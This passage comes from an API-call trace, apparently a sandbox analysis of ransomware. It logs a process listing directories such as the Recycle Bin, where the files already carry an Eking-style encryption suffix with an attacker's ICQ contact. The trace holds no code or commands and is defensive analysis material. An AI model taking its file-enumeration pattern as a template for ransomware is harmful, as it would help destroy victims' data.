cFileName="preoobe.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PREOOB~1.EKI")) returned 1 [0274.858] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 1 [0274.858] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 0 [0274.858] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0274.859] GetProcessHeap () returned 0xaf0000 [0274.859] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0274.860] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0274.860] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0274.861] GetProcessHeap () returned 0xaf0000 [0274.861] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb94140 | out: hHeap=0xaf0000) returned 1 [0274.862] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0274.863] GetProcessHeap () returned 0xaf0000 [0274.863] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0274.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0274.863] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0274.864] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0274.864] GetProcessHeap () returned 0xaf0000 [0274.864] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba6158 [0274.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0274.864] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.864] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2de245f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0274.864] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2de245f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0274.864] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0274.864] GetProcessHeap () returned 0xaf0000 [0274.864] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba6158 | out: hHeap=0xaf0000) returned 1 [0274.865] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0274.865] GetProcessHeap () returned 0xaf0000 [0274.865] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba6158 [0274.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0274.866] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.866] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6744d615, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0274.866] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0274.866] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0274.867] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0274.867] GetProcessHeap () returned 0xaf0000 [0274.867] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba6158 | out: hHeap=0xaf0000) returned 1 [0274.867] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0274.867] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0274.868] GetProcessHeap () returned 0xaf0000 [0274.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0274.869] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0274.869] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7506308e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7506308e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0274.869] GetProcessHeap () returned 0xaf0000 [0274.869] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0274.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7506308e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7506308e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0274.870] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7506308e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7506308e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0274.870] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1 [0274.870] GetProcessHeap () returned 0xaf0000 [0274.870] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0274.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0274.872] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0274.872] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b59cbd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0274.872] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b7ff6e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0274.872] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0274.872] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0274.872] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0274.873] GetProcessHeap () returned 0xaf0000 [0274.873] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0274.874] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1 [0274.874] GetProcessHeap () returned 0xaf0000 [0274.874] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0274.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0274.876] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0274.876] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2de245f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2de245f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0274.876] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e086b4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e086b4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0274.876] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0274.876] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0274.876] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0274.877] GetProcessHeap () returned 0xaf0000 [0274.878] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0274.878] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1 [0274.878] GetProcessHeap () returned 0xaf0000 [0274.878] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0274.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0274.998] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0274.998] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, 